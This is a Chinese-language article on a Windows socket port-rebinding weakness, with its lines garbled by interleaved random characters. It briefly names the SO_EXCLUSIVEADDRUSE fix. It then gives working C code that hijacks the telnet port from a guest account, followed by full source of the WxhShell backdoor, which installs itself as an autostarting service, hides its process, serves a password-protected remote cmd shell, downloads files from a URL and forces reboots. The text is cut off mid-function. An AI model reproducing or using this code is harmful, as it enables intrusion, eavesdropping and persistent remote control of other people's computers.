在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Fj'\v#h s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ZKVp[A B(HNB\3u saddr.sin_family = AF_INET;
PGC07U:B J+-,^8) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{6REfY
c vbW\~xf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+:j4G^ V ?14X8Mb8W_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
pmE1EDPag I$rW[l2 这意味着什么?意味着可以进行如下的攻击:
cj,&&3sbV oXu~9'm$ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`K1PGibV 2d,wrC<'$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
BN bb&] X7(rg W8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
rElG7[+)p )AZ`R8-A 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
0~LnnDN 0O@[on;Bd 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:{e`$kz *;~{_Disz 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
lW@:q04Z$ I+-Rs2wb 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
7ipY*DT8 Fp* &os #include
{ILQ
CvP* #include
#EwRb<'Em #include
o
F,R@f #include
8DmX4* DWORD WINAPI ClientThread(LPVOID lpParam);
s`dkEaS int main()
l7FZ;%& {
J0{WqA.P WORD wVersionRequested;
Sxx.>gP"61 DWORD ret;
Q}`2Y^. WSADATA wsaData;
G=0}IPfp BOOL val;
=h1 QN SOCKADDR_IN saddr;
ce-m)o/ SOCKADDR_IN scaddr;
(,Zz&3
AV int err;
+=lcN~U2 SOCKET s;
YQw/[ SOCKET sc;
n$Oky-P" int caddsize;
Yqj.z| }Nb HANDLE mt;
`~s,W.Eu4 DWORD tid;
+P<w<GfQ wVersionRequested = MAKEWORD( 2, 2 );
7Ohu$5\ err = WSAStartup( wVersionRequested, &wsaData );
~`Gcq"7,! if ( err != 0 ) {
:7AauoI printf("error!WSAStartup failed!\n");
;#Bh_f return -1;
Y_TL4 }
/R+]}Lt~%* saddr.sin_family = AF_INET;
;gw!;!T <]SSgQ9/" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Tef3
Z6 ,1.([%z+r saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
j,V$vK P saddr.sin_port = htons(23);
&B>uPZ] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^#6%*(D {
%v6]>FNP'3 printf("error!socket failed!\n");
\Q
BpgMi( return -1;
@XSu?+s) }
Z6
|'k:R8 val = TRUE;
dzC&7
9$ //SO_REUSEADDR选项就是可以实现端口重绑定的
26klW:2* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
%BP)m(S7 {
5In8VE
!P printf("error!setsockopt failed!\n");
8 H"f9S=K return -1;
D_;n4<|. }
DWevg;_]$( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
;ZW}47:BS6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
{UVm0AeUq //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
R@{/$p: c#-97"_8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7&S|y]$~ {
R)d7b,_Yd ret=GetLastError();
*,=+R$ printf("error!bind failed!\n");
M:q;z( return -1;
Nb,H8; }
}(7QJk5 j listen(s,2);
j`&i4K: while(1)
;w&yGm {
aGkVC*T caddsize = sizeof(scaddr);
r H_:7#.E //接受连接请求
lM]),}
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
GP
kCgb( if(sc!=INVALID_SOCKET)
0GR9C%"] {
.6A:t?. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~;4k UJD if(mt==NULL)
|ssIUJ {
>+LgJo R printf("Thread Creat Failed!\n");
;77o%J'l break;
:^L]Da3 }
D{d$L9. }
FwzA_
nn CloseHandle(mt);
0\<-R }
;Z~.54Pf{d closesocket(s);
8 =Lv7G% WSACleanup();
2%yJo7f$[ return 0;
J7] 60H#P }
N~KRwsDH DWORD WINAPI ClientThread(LPVOID lpParam)
*U^hwL {
m8A_P:MQq SOCKET ss = (SOCKET)lpParam;
1EPOYvf%U SOCKET sc;
`ha:Gf unsigned char buf[4096];
~0{Kga SOCKADDR_IN saddr;
UN 4)>\Y long num;
D}U<7=\3H DWORD val;
Bj[/tQ DWORD ret;
|6Z MxY //如果是隐藏端口应用的话,可以在此处加一些判断
=8D4:Ds //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
F|K4zhK saddr.sin_family = AF_INET;
oKJ7i,xT saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
1}M.}G2u/ saddr.sin_port = htons(23);
6EWB3.x19 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i*/U.'# {
N6 8>` printf("error!socket failed!\n");
3pH`]m2 return -1;
/8HO7E+5 }
EZfa0jJD val = 100;
<\EfG:e if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6+z]MT {
cTTE]ix] ret = GetLastError();
jP'b! 4 return -1;
o+Z9h1z%, }
?zu{&aOX| if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
B9-[wg#0G {
{\zr_v`g ret = GetLastError();
@&B!P3{f return -1;
m3-J0D<
}
[![(h % if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
[wG%@0\ {
f~9Y1|6 printf("error!socket connect failed!\n");
= lD]sk closesocket(sc);
+N@F,3yNa closesocket(ss);
a $%[!vF return -1;
!17Z\Ltqyj }
c`; LF'! while(1)
Z?mg1;Q {
A$6b=2hc> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.x8$PXjPG //如果是嗅探内容的话,可以再此处进行内容分析和记录
8E[`H //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
*)I1gR~ num = recv(ss,buf,4096,0);
GA}^Rh`T- if(num>0)
j #YFwX4. send(sc,buf,num,0);
e5]AB else if(num==0)
nWu4HFi break;
= h( n+y< num = recv(sc,buf,4096,0);
A,)ELVk1F if(num>0)
D .`\ ^a send(ss,buf,num,0);
dR:iUw:V else if(num==0)
F
k;su,]_ break;
2N 4> }
Y_sVe closesocket(ss);
3)SZVME1Z closesocket(sc);
o+TZUMm return 0 ;
UV.9KcN. }
7d)' y $uh DBmb qH"a ! ==========================================================
"cM5= ; E2D8s=r 下边附上一个代码,,WXhSHELL
It-*CD9
>oDP(]YGg ==========================================================
q/79'>`|ai 9YhsJ~"Q #include "stdafx.h"
Al}PJz\ 2Zip8f! #include <stdio.h>
Mk?I} #include <string.h>
mM>|fHGA #include <windows.h>
1A-EP@# J #include <winsock2.h>
_xt(II #include <winsvc.h>
89mre;v` #include <urlmon.h>
ypo=y/! MGDv4cFE. #pragma comment (lib, "Ws2_32.lib")
ts>}>}@vc #pragma comment (lib, "urlmon.lib")
o#/iR]3 =]"|x7'! #define MAX_USER 100 // 最大客户端连接数
dC#\ut%l #define BUF_SOCK 200 // sock buffer
,$$$_+m\ #define KEY_BUFF 255 // 输入 buffer
b0 `9wn I=a$1%BzEX #define REBOOT 0 // 重启
}j*/>m #define SHUTDOWN 1 // 关机
v"~I( kf$ :G/]rDtd #define DEF_PORT 5000 // 监听端口
kZ%W?# Fg_s'G,` #define REG_LEN 16 // 注册表键长度
r0
C6Ww7u #define SVC_LEN 80 // NT服务名长度
5T#D5Z<m VTfaZ/e. // 从dll定义API
X{9o8
*V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#)}bUNc' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
tdF[2@?+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
DNBpIC5&6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
>Fk`h=Wd ^VPl>jTg // wxhshell配置信息
9Ib(x0_ struct WSCFG {
\RyA}P5S int ws_port; // 监听端口
q|l|mO char ws_passstr[REG_LEN]; // 口令
u?Mu*r? int ws_autoins; // 安装标记, 1=yes 0=no
[:@?,?V\N char ws_regname[REG_LEN]; // 注册表键名
~ O=| v/] char ws_svcname[REG_LEN]; // 服务名
[;YBX]t char ws_svcdisp[SVC_LEN]; // 服务显示名
9yw/-nA char ws_svcdesc[SVC_LEN]; // 服务描述信息
;o459L>sW char ws_passmsg[SVC_LEN]; // 密码输入提示信息
l{m~d!w`a int ws_downexe; // 下载执行标记, 1=yes 0=no
X$Vz char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
D#}Yx]Q1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9$@ g;?}Ps _k.bGYldk };
Ltd?#HP |ZlT>u // default Wxhshell configuration
zb}+ m#q struct WSCFG wscfg={DEF_PORT,
2BA9T nxC
"xuhuanlingzhe",
9Ru%E>el- 1,
G5y "Wxhshell",
|
8Egw-f "Wxhshell",
T&"dBoUq>G "WxhShell Service",
sxwW9_C "Wrsky Windows CmdShell Service",
w[oQ}5?9' "Please Input Your Password: ",
yXo0z_ G 1,
M2P@ & "
http://www.wrsky.com/wxhshell.exe",
6cT~irP "Wxhshell.exe"
[*{\R`M };
%g@3S!lK VSpt&19 // 消息定义模块
R:BBNzY}f char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Dke($Jr{ char *msg_ws_prompt="\n\r? for help\n\r#>";
C2=iZ`Z>T char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
[^}>AC*im char *msg_ws_ext="\n\rExit.";
qTh='~m4[ char *msg_ws_end="\n\rQuit.";
\i;&@Kp.N char *msg_ws_boot="\n\rReboot...";
6 #x)W char *msg_ws_poff="\n\rShutdown...";
>{qK]xj char *msg_ws_down="\n\rSave to ";
&Pg-|Ql 5ZyBP~ char *msg_ws_err="\n\rErr!";
(GcKaUg8* char *msg_ws_ok="\n\rOK!";
[q+e]kD _[vdY|_ char ExeFile[MAX_PATH];
@f5@0A\0 int nUser = 0;
H"q`k5R HANDLE handles[MAX_USER];
eMl]td rI int OsIsNt;
+>WC^s kuj12 SERVICE_STATUS serviceStatus;
keQXJ0 SERVICE_STATUS_HANDLE hServiceStatusHandle;
-Mi}yi ')u5 l // 函数声明
<A -(&+ int Install(void);
NBqV0>vR int Uninstall(void);
Jm(&G int DownloadFile(char *sURL, SOCKET wsh);
/#qs(!
d int Boot(int flag);
lO2T/1iMTW void HideProc(void);
B=gsd0^] int GetOsVer(void);
&J^4Y!gt int Wxhshell(SOCKET wsl);
Z'}(t, void TalkWithClient(void *cs);
yXTK(<' int CmdShell(SOCKET sock);
#mRFUA int StartFromService(void);
xjK_zO*dLq int StartWxhshell(LPSTR lpCmdLine);
:e&n.i^ "0'*q<8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
dm,}Nbc91( VOID WINAPI NTServiceHandler( DWORD fdwControl );
uh5Pn#da^ ne"?90~ // 数据结构和表定义
%0NkIQ`C SERVICE_TABLE_ENTRY DispatchTable[] =
,5\2C{ {
5i4V 5N>3 {wscfg.ws_svcname, NTServiceMain},
{C/L5cZ]J {NULL, NULL}
vcw>v={x };
pFsCd"zv ~&DB!6* // 自我安装
r:c@17 int Install(void)
fou_/Nrue {
h6\3vfj^f char svExeFile[MAX_PATH];
#*Yi4Cn< HKEY key;
L$29L: strcpy(svExeFile,ExeFile);
P.LuF(?$ `dv}a-Q)c // 如果是win9x系统,修改注册表设为自启动
.~. ``a if(!OsIsNt) {
ceFsGdS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4d^
\l! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
29Gwv RegCloseKey(key);
axK6sIxx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3XeXzPj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%RQ C9! RegCloseKey(key);
~A`&/U return 0;
[j)\v^m }
>~I
xyQp }
lAdDu }
Hp)X^O" else {
0?lp/|K Gnbfy4Z // 如果是NT以上系统,安装为系统服务
jWH{;V&ZV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-{X<*P4p if (schSCManager!=0)
jM5_8nS&d {
4S,. R SC_HANDLE schService = CreateService
FI]P<)*r (
b8J@K" schSCManager,
yZYKwKG wscfg.ws_svcname,
B{7Kzwh; wscfg.ws_svcdisp,
UL86-R! SERVICE_ALL_ACCESS,
B4]AFRI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Vbg10pV0 SERVICE_AUTO_START,
xGYSi5}z SERVICE_ERROR_NORMAL,
zRwb" svExeFile,
4$yV%[j NULL,
}.0Bl&\UK NULL,
@S`$C NULL,
:GU,EDps NULL,
&|v{#,ymeb NULL
9YP*f );
"pt+Fe|@c; if (schService!=0)
G1]"s@8( {
9YR]+* CloseServiceHandle(schService);
>qR7'Q wP CloseServiceHandle(schSCManager);
Dc08D4
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
IQ ){(Y strcat(svExeFile,wscfg.ws_svcname);
V,V*30K5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
bf& }8I$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
1hl]W+9 RegCloseKey(key);
p6`Pp"J_tr return 0;
fJaubDxa }
s[3e=N }
94\t1fE CloseServiceHandle(schSCManager);
Y 4d3n }
g %f*ofb }
|+>uA[6# pD"YNlB^ return 1;
*c{wtl@ }
p8Iw!HE *myG"@P4hW // 自我卸载
nSS>\$ int Uninstall(void)
+ :V rip {
#O" HKEY key;
P}0*{%jB Frk c O if(!OsIsNt) {
oh6B3>>+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7|YN:7iA RegDeleteValue(key,wscfg.ws_regname);
\#CM
<% RegCloseKey(key);
u_PuqRcs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Z%m-HE:k RegDeleteValue(key,wscfg.ws_regname);
baee?6 RegCloseKey(key);
6SVqRD<` return 0;
b.s9p7:J }
n"6;\ }
Z?oG*G: }
#Z\O}< else {
B$^7h! cq*=|m0}Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
IS BV%^la| if (schSCManager!=0)
MM?`voj~`p {
Rs*vm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
UNDi_6Dy if (schService!=0)
Q.+|xwz {
$+cAg> if(DeleteService(schService)!=0) {
t|V0x3X CloseServiceHandle(schService);
pQMtj0(y CloseServiceHandle(schSCManager);
|ETiLR=& return 0;
Tr& }$kird }
;gMgj$mI CloseServiceHandle(schService);
/-4$7qd }
/4$4h;_8 CloseServiceHandle(schSCManager);
S:q$?$ }
jTb-;4N' }
B@O@1?c[ k6"KB return 1;
WZZ4]cC }
|Ps% M|8~ 5l DFp9 // 从指定url下载文件
QvLZg int DownloadFile(char *sURL, SOCKET wsh)
@]HXP_lyD/ {
?":'O#E HRESULT hr;
@
O>&5gB1u char seps[]= "/";
T*~H m char *token;
-x`G2i char *file;
K93p"nHN char myURL[MAX_PATH];
!}KqB8; char myFILE[MAX_PATH];
k~3.MU ]3Dl)[R
strcpy(myURL,sURL);
wmU0E/{9] token=strtok(myURL,seps);
{g6Qv- while(token!=NULL)
p?X02
>yA {
T]T;$ file=token;
`^9(Ot $ token=strtok(NULL,seps);
PX(pX> }
^Q+i=y{W N_Akmh0D GetCurrentDirectory(MAX_PATH,myFILE);
BxK^?b[E8 strcat(myFILE, "\\");
gEQNs\Jn
L strcat(myFILE, file);
KvPX=/&Zu send(wsh,myFILE,strlen(myFILE),0);
SP]IUdE\ send(wsh,"...",3,0);
8Q{9>^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
D]s]"QQ8 if(hr==S_OK)
fV:4#j return 0;
f.B>&%JRZ else
q my%J return 1;
'1^B+m k
n[Y }
X>YsQrK(ig llV3ka^! // 系统电源模块
I zbU)ud int Boot(int flag)
J[~5U~F {
fFvF\ HANDLE hToken;
aVL=K TOKEN_PRIVILEGES tkp;
=qy=-j] 3bZIYF2@ if(OsIsNt) {
C:8_m1Y{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3@Z#.FV~C[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>gwz,{ tkp.PrivilegeCount = 1;
vsWHk7 9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
VQ5nq'{v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
S [h];eM if(flag==REBOOT) {
%1 vsN-O}8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
sVk$x:k1M return 0;
^.k
|SK`U }
<GHYt#GIZ+ else {
,#d? _?/:O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
RB* J= return 0;
r;L>.wl*I }
jcNT<}k
C }
ZOXIT(mg else {
hQ6a~?f if(flag==REBOOT) {
!zj0/Q G\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
9Y>8=#.c return 0;
^<e@uNGg }
r:&`$8$ else {
6hZ@;Q=b if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1&;QyTN return 0;
*_E|@y }
x8\A<(G_M= }
-V,v9h^ Yt|6
X:l return 1;
oAWzYu(v }
Q#h
9n] 5 >#Q\DsDS // win9x进程隐藏模块
~%?`P/.o void HideProc(void)
X#3et' {
1]IQg;q N]KxAttt HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
WD Fjp if ( hKernel != NULL )
) ri}nL. {
upj]6f"( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
2z\zh[(w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
54
> - FreeLibrary(hKernel);
Og=*R6i }
,g%&|FAP btdb%Q* return;
,`ZYvF^% }
EkGQ(fZ1| T\w?$ s // 获取操作系统版本
+w=AJdc int GetOsVer(void)
gX0R)spg {
&WNf
M+ OSVERSIONINFO winfo;
rQ7+q;[J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
u,}{I}x_ GetVersionEx(&winfo);
)_/5*Ly@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
+}f9 return 1;
@as"JAN else
?c0xRO%y return 0;
,V*%V; }
(@iMLuewK 71vkyn@" // 客户端句柄模块
('-JY int Wxhshell(SOCKET wsl)
Bz5-ITX
{
*N{emwIq SOCKET wsh;
:n /@z4# struct sockaddr_in client;
gY@N~'f;" DWORD myID;
f4L`.~b'hb .BFYY13H while(nUser<MAX_USER)
O(+phRwJ {
5uxBK"q int nSize=sizeof(client);
F<!)4>2@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
'uq#ai[5I if(wsh==INVALID_SOCKET) return 1;
L[=a/|)TBV hAHq\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>@"Oe if(handles[nUser]==0)
F'hHK.tT closesocket(wsh);
?JL:CBvCp else
z)HD`Ho nUser++;
e^ v.) }
?s:d[To6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
byv[yGa` 3> Y6) return 0;
(
H6c{'& }
hGiz)v~ +|tC'gCnV // 关闭 socket
f%V4pzOc" void CloseIt(SOCKET wsh)
:UQTEdc{ {
6 ~>FYX closesocket(wsh);
ATR!7i\| nUser--;
.|/~op4; ExitThread(0);
4q<=K= F }
A]XZnQ % rxO_ // 客户端请求句柄
4fe7U=# ;Y void TalkWithClient(void *cs)
9]e V?yoA8 {
gCxAG |O"lNUW SOCKET wsh=(SOCKET)cs;
8O Soel char pwd[SVC_LEN];
*k19LI.5 char cmd[KEY_BUFF];
{RF-sqce char chr[1];
DG?"5:Zd int i,j;
$]8h $ s&NX@ while (nUser < MAX_USER) {
|_yYLYH'
@WI2hHD if(wscfg.ws_passstr) {
-N"&/) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
0X^Ke(/89 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%DdJ ^qHI //ZeroMemory(pwd,KEY_BUFF);
~{Mn{ i=0;
0C>%LJ8r while(i<SVC_LEN) {
k68F-e[i^ . Z%{'CC // 设置超时
LGl2$#x fd_set FdRead;
7P9=)$(EH struct timeval TimeOut;
LA`*_|}qcR FD_ZERO(&FdRead);
LU9A# FD_SET(wsh,&FdRead);
0fYj4`4=n TimeOut.tv_sec=8;
*guoWPA|Ij TimeOut.tv_usec=0;
:duo#w"K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
YJo["Q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
X@f "-\ qs QNjt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
tQylT0'[+o pwd
=chr[0]; &cu lbcz
if(chr[0]==0xd || chr[0]==0xa) { PpgP&;z4
pwd=0; oIefw:FE,a
break; m o:D9
} TsGE cxIg
i++; 4vwTs*eB`
} pbU!dOU~e
[AW"
D3
// 如果是非法用户,关闭 socket D)d~3`=#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sxt-Vs7+6
} HTyLJe
Q_Gi]M9
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <-u8~N@43W
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |P%DkM*X
1[yq0^\]M[
while(1) { o5Q{/
^/U|2'$'>E
ZeroMemory(cmd,KEY_BUFF); f4PIoZ e
ruazOmnn~
// 自动支持客户端 telnet标准 dtcIC0:[
j=0; Q
!(pE&
while(j<KEY_BUFF) { ,Bal
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &Y^WP?HS
cmd[j]=chr[0]; yn/rW$
if(chr[0]==0xa || chr[0]==0xd) { NvvUSyk\;s
cmd[j]=0; |\g5+fv9
break; }~Af/
} 1rDqa(7
j++; }eRD|1
} (bh95X
:"!9_p(,,
// 下载文件 [ U wi
if(strstr(cmd,"http://")) { %Pqf{*d8
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1 %,a =,v
if(DownloadFile(cmd,wsh))
.fdL&z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vl2XDkhq
else [Ts"OPb%~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V@\%)J'g
} = hN
!;7G
else { -G|G_$9
~fo6*g:f1
switch(cmd[0]) { 37RLE1Yf
w-0mzk"
// 帮助 ]7/
b/J
case '?': { dS5a
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MG{YrX) oi
break; ubmrlH\d
} KR%{a(V;7
// 安装 bk\yCt06y;
case 'i': { jr3ti>,xV
if(Install()) bcZf>:gVf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +|ycvHd
else 59Gk3frk(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hsw9(D>jp
break; U2%.S&wS,e
} d`/tE?Gw
// 卸载 0]jA<vLR
case 'r': { UAyC.$!
if(Uninstall()) ]J#9\4Sq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E~a3r]V/
else nYJTKU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A|@_}h"WG
break; Q[d}J+l4{
} :Pv*,qHE
// 显示 wxhshell 所在路径 wGZR31
case 'p': { =2
*rA'im
char svExeFile[MAX_PATH]; 0pSmj2/,.
strcpy(svExeFile,"\n\r"); p3}?fej&|
strcat(svExeFile,ExeFile); f u9Cx
send(wsh,svExeFile,strlen(svExeFile),0); {N#KkYH{"
break; U.@*`Fg
} i>joT><B
// 重启 o^V(U~m]
case 'b': { MG?0>^F
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g9Yz*Nee<
if(Boot(REBOOT)) +nT'I!//
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <u=4*:QE
else { 2m~V{mUT!
closesocket(wsh); dqX;#H}h
ExitThread(0); _kY#D;`:r
} {Ixg2=E\
break; 7K{Nb
} ys#i@
// 关机 mB0l "# F
case 'd': { ZoB{x*IH
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /QEiMrz@6
if(Boot(SHUTDOWN)) NxLXm,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .uE Pnzi
else { d
O~O
|Xsb
closesocket(wsh); =GXu 5 8
ExitThread(0); [JaS??ig
} $:of=WTY(
break; /N-_FMl?
} ^xZ
e2@
// 获取shell 1LY8Ma]E
case 's': { (S ^8UV
CmdShell(wsh); SZ_V^UX_
closesocket(wsh); YQ0)5 }
ExitThread(0); lW 81q2n
break; 9V.u-^o&
} {W\T"7H
// 退出 z7-k`(l4
case 'x': { zW8*E E+,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m5D"A D
CloseIt(wsh); ]p!Gt,rYq
break; vsj3
} cUO<.
// 离开 Urgtg37
case 'q': { =KT7nl
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5#E |R
closesocket(wsh); **>/}.%?K
WSACleanup(); wl1m*`$
exit(1); R3X{:1{j
break; "<i SZ
} c={Ft*N
} dXn%lJ
} 4"=Vq5
.4l/_4,s_
// 提示信息 ]P[%Mhg^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z5]bia,
} p#KW$OQ]8
} ~l~Tk6EM
J`*iZvW#Bx
return; <:|3rfm#
} ~LQ[4h<J !
ggb|Ew
// shell模块句柄 ^S#t|rN
int CmdShell(SOCKET sock) yA[({2%
{ /VHi>
STARTUPINFO si; n,O5".aa<
ZeroMemory(&si,sizeof(si)); bY~@}gC**@
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l =IeJh
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l\$+7|W
PROCESS_INFORMATION ProcessInfo; tD$lNh^
char cmdline[]="cmd"; :!zC"d9@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ejq#~Zhr!
return 0; z{]?h cY
} s0hBbL0DH
#hw/^AaD-
// 自身启动模式 Brd,Eg
int StartFromService(void) IK^~X{I?
{ VK3it3FI>3
typedef struct +[. Yy
{ "'Z- UV
DWORD ExitStatus; <EO<x D=:
DWORD PebBaseAddress; ] q~<=
